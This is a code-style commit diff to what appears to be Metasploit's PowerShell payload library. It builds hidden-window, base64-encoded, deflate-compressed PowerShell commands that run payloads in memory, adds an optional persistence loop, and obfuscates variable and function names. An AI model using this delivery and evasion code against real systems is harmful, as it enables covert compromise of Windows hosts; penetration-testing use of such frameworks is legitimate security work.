Cheat/Rubycop all the things
parent
474ee81807
commit
5f0533677e
|
@ -3,7 +3,6 @@ require 'rex/exploitation/powershell'
|
|||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
|
||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -16,12 +15,7 @@ module Exploit::Powershell
|
|||
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
|
||||
'net',
|
||||
'reflection',
|
||||
'old',
|
||||
'msil'
|
||||
]]),
|
||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -36,7 +30,7 @@ module Exploit::Powershell
|
|||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
@ -56,7 +50,7 @@ module Exploit::Powershell
|
|||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
@ -75,14 +69,14 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1,1] != "\\")
|
||||
opts[:path] << "\\"
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
if opts[:no_full_stop]
|
||||
binary = "powershell"
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = "powershell.exe"
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
@ -122,13 +116,13 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Powershell command arguments
|
||||
def generate_psh_args(opts)
|
||||
return "" unless opts
|
||||
return '' unless opts
|
||||
|
||||
unless opts.has_key? :shorten
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
|
||||
arg_string = " "
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
|
@ -140,25 +134,25 @@ module Exploit::Powershell
|
|||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << "-NoExit " if value
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << "-NoLogo " if value
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << "-NonInteractive " if value
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << "-Mta " if value
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << "-Sta " if value
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << "-NoProfile " if value
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
#Command must be last (unless from stdin - etc)
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
@ -182,10 +176,10 @@ module Exploit::Powershell
|
|||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
#Strip off first space character
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
#Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
end
|
||||
|
@ -202,14 +196,14 @@ module Exploit::Powershell
|
|||
# @return [String] Wrapped powershell code
|
||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||
arg_opts = {
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden',
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
}
|
||||
|
||||
if encoded
|
||||
arg_opts[:encodedcommand] = ps_code
|
||||
else
|
||||
arg_opts[:command] = ps_code.gsub("'","''")
|
||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
# Old technique fails if powershell exits..
|
||||
|
@ -224,7 +218,7 @@ $s.Arguments='#{ps_args}'
|
|||
$s.UseShellExecute=$false
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n",';')
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
|
@ -234,7 +228,7 @@ if([IntPtr]::Size -eq 4){
|
|||
};
|
||||
EOS
|
||||
|
||||
archictecure_detection.gsub!("\n","")
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
end
|
||||
|
@ -264,17 +258,17 @@ EOS
|
|||
# argument in single quotes unless :encode_final_payload
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def cmd_psh_payload(pay, payload_arch, opts={})
|
||||
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||
opts[:persist] ||= datastore['Powershell::persist']
|
||||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
|
@ -285,15 +279,15 @@ EOS
|
|||
when 'old'
|
||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
when 'msil'
|
||||
raise RuntimeError, "MSIL Powershell method no longer exists"
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
raise RuntimeError, "No Powershell method specified"
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
||||
sleep_time = rand(5)+5
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
|
@ -334,8 +328,8 @@ EOS
|
|||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||
|
||||
command_args = {
|
||||
:noprofile => true,
|
||||
:windowstyle => 'hidden'
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
|
@ -345,14 +339,14 @@ EOS
|
|||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << " "
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'","''")
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
@ -370,20 +364,17 @@ EOS
|
|||
|
||||
vprint_status("Powershell command length: #{command.length}")
|
||||
if command.length > 8191
|
||||
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Useful method cache
|
||||
#
|
||||
module PshMethods
|
||||
include Rex::Exploitation::Powershell::PshMethods
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -9,58 +9,54 @@ require 'rex/exploitation/powershell/script'
|
|||
require 'rex/exploitation/powershell/psh_methods'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Exploitation
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
module Powershell
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||
end
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0],set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -2,9 +2,7 @@
|
|||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
module Powershell
|
||||
|
||||
class Function
|
||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
||||
|
@ -14,7 +12,7 @@ module Powershell
|
|||
include Parser
|
||||
include Obfu
|
||||
|
||||
def initialize(name,code)
|
||||
def initialize(name, code)
|
||||
@name = name
|
||||
@code = code
|
||||
populate_params
|
||||
|
@ -37,7 +35,7 @@ module Powershell
|
|||
start = code.index(PARAMETER_REGEX)
|
||||
return unless start
|
||||
# Get start of our block
|
||||
idx = scan_with_index('(',code[start..-1]).first.last + start
|
||||
idx = scan_with_index('(', code[start..-1]).first.last + start
|
||||
pclause = block_extract(idx)
|
||||
|
||||
matches = pclause.scan(FUNCTION_REGEX)
|
||||
|
@ -50,7 +48,7 @@ module Powershell
|
|||
if value
|
||||
if klass
|
||||
name = value
|
||||
@params << Param.new(klass,name)
|
||||
@params << Param.new(klass, name)
|
||||
break
|
||||
else
|
||||
klass = value
|
||||
|
@ -60,8 +58,6 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -4,9 +4,7 @@ require 'rex/text'
|
|||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
module Powershell
|
||||
|
||||
module Obfu
|
||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
||||
|
@ -21,9 +19,9 @@ module Powershell
|
|||
# @return [String] code without comments
|
||||
def strip_comments
|
||||
# Multi line
|
||||
code.gsub!(MULTI_LINE_COMMENTS_REGEX,'')
|
||||
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
|
||||
# Single line
|
||||
code.gsub!(SINGLE_LINE_COMMENTS_REGEX,'')
|
||||
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
|
@ -34,9 +32,9 @@ module Powershell
|
|||
# @return [String] code without empty lines
|
||||
def strip_empty_lines
|
||||
# Windows EOL
|
||||
code.gsub!(WINDOWS_EOL_REGEX,"\r\n")
|
||||
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
|
||||
# UNIX EOL
|
||||
code.gsub!(UNIX_EOL_REGEX,"\n")
|
||||
code.gsub!(UNIX_EOL_REGEX, "\n")
|
||||
|
||||
code
|
||||
end
|
||||
|
@ -47,7 +45,7 @@ module Powershell
|
|||
#
|
||||
# @return [String] code with whitespace stripped
|
||||
def strip_whitespace
|
||||
code.gsub!(WHITESPACE_REGEX,' ')
|
||||
code.gsub!(WHITESPACE_REGEX, ' ')
|
||||
|
||||
code
|
||||
end
|
||||
|
@ -58,7 +56,7 @@ module Powershell
|
|||
# @return [String] code with variable names replaced with unique values
|
||||
def sub_vars
|
||||
# Get list of variables, remove reserved
|
||||
get_var_names.each do |var,sub|
|
||||
get_var_names.each do |var, _sub|
|
||||
code.gsub!(var, "$#{@rig.init_var(var)}")
|
||||
end
|
||||
|
||||
|
@ -72,7 +70,7 @@ module Powershell
|
|||
# values
|
||||
def sub_funcs
|
||||
# Find out function names, make map
|
||||
get_func_names.each do |var, sub|
|
||||
get_func_names.each do |var, _sub|
|
||||
code.gsub!(var, @rig.init_var(var))
|
||||
end
|
||||
|
||||
|
@ -83,21 +81,18 @@ module Powershell
|
|||
# Perform standard substitutions
|
||||
#
|
||||
# @return [String] code with standard substitution methods applied
|
||||
def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
|
||||
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
|
||||
# Save us the trouble of breaking injected .NET and such
|
||||
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
||||
# Run selected modifiers
|
||||
subs.each do |modifier|
|
||||
self.send(modifier)
|
||||
send(modifier)
|
||||
end
|
||||
code.gsub!(EMPTY_LINE_REGEX,'')
|
||||
code.gsub!(EMPTY_LINE_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
end # Obfu
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -5,11 +5,8 @@ require 'rex/text'
|
|||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
module Powershell
|
||||
|
||||
module Output
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
|
@ -32,7 +29,7 @@ module Powershell
|
|||
# @return [String] Powershell code with line numbers
|
||||
def to_s_lineno
|
||||
numbered = ''
|
||||
code.split(/\r\n|\n/).each_with_index do |line,idx|
|
||||
code.split(/\r\n|\n/).each_with_index do |line, idx|
|
||||
numbered << "#{idx}: #{line}"
|
||||
end
|
||||
|
||||
|
@ -49,27 +46,27 @@ module Powershell
|
|||
def deflate_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(code,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << "$s.ReadByte();"
|
||||
psh_expression << "$s.ReadByte();"
|
||||
psh_expression << '$s.ReadByte();'
|
||||
psh_expression << '$s.ReadByte();'
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << "IEX (New-Object IO.StreamReader("
|
||||
psh_expression << "New-Object IO.Compression.DeflateStream("
|
||||
psh_expression << "$s,"
|
||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
|
||||
psh_expression << ")).ReadToEnd();"
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.DeflateStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
|
@ -99,17 +96,17 @@ module Powershell
|
|||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << "IEX (New-Object IO.StreamReader("
|
||||
psh_expression << "New-Object IO.Compression.GzipStream("
|
||||
psh_expression << "$s,"
|
||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
|
||||
psh_expression << ")).ReadToEnd();"
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.GzipStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
|
@ -142,15 +139,13 @@ module Powershell
|
|||
begin
|
||||
@code = Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::DataError => e
|
||||
raise RuntimeError, "Invalid compression"
|
||||
raise RuntimeError, 'Invalid compression'
|
||||
end
|
||||
end
|
||||
|
||||
@code
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -2,14 +2,12 @@
|
|||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
module Powershell
|
||||
|
||||
class Param
|
||||
attr_accessor :klass, :name
|
||||
def initialize(klass,name)
|
||||
def initialize(klass, name)
|
||||
@klass = klass.strip
|
||||
@name = name.strip.gsub(/\s|,/,'')
|
||||
@name = name.strip.gsub(/\s|,/, '')
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -20,8 +18,6 @@ module Powershell
|
|||
"[#{klass}]$#{name}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,187 +1,183 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
module Powershell
|
||||
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str,source=code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
end.map{|m| [m.to_s,m.offset(0)[0]]}
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
